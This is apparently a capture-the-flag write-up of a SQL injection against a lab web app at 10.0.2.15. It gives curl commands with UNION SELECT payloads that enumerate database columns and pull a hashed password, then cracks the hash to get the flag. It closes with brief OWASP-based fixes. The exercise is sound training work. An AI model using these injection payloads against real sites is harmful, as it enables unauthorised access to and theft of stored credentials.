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## Exploit
1. At `http://10.0.2.15/?page=member` we can inject SQL. Using an empty input and we see the error `You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1` so we can assume the SQL query is shaped like `… WHERE id=<our input>`
1. Try to `SELECT` everything with a `UNION`:
```bash
❯ curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode 'id=5 UNION SELECT * FROM users'
…
<pre>The used SELECT statements have a different number of columns</pre>
```
1. From the previous output we try an increasing number of placeholders to deduce that the original query uses two columns:
```bash
❯ curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode 'id=5 UNION SELECT 1,2 FROM users'
```
1. We get a list of all columns of all tables in the database:
```bash
❯ curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT column_name, table_name FROM information_schema.columns" | sed 's/<pre>/\
/g' | grep --only-matching "First name:.*"
```
1. After trying a bunch of them we see that `Commentaire` and `countersign` hold a clue and a hashed password:
```bash
curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT Commentaire, countersign FROM users" | sed 's/<pre>/\
/g | grep --only-matching "First name:.*"
…
First name: Decrypt this password -> then lower all the char. Sh256 on it and it's good !<br>Surname : 5ff9d0165b4f92b14994e5c685cdce28</pre><table width=50%>
```
1. `5ff9d0165b4f92b14994e5c685cdce28` reverse md5 lookup → "FortyTwo" → lowercase → "fortytwo" → `echo -n fortytwo | sha256sum`
## Fix
[https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection]()
- Don't show SQL errors on the front-end because it gives attackers clues about the database and the queries that can be used to exploit them
- Don't include untrusted, unfiltered and/or unsanitized input into a SQL query
|
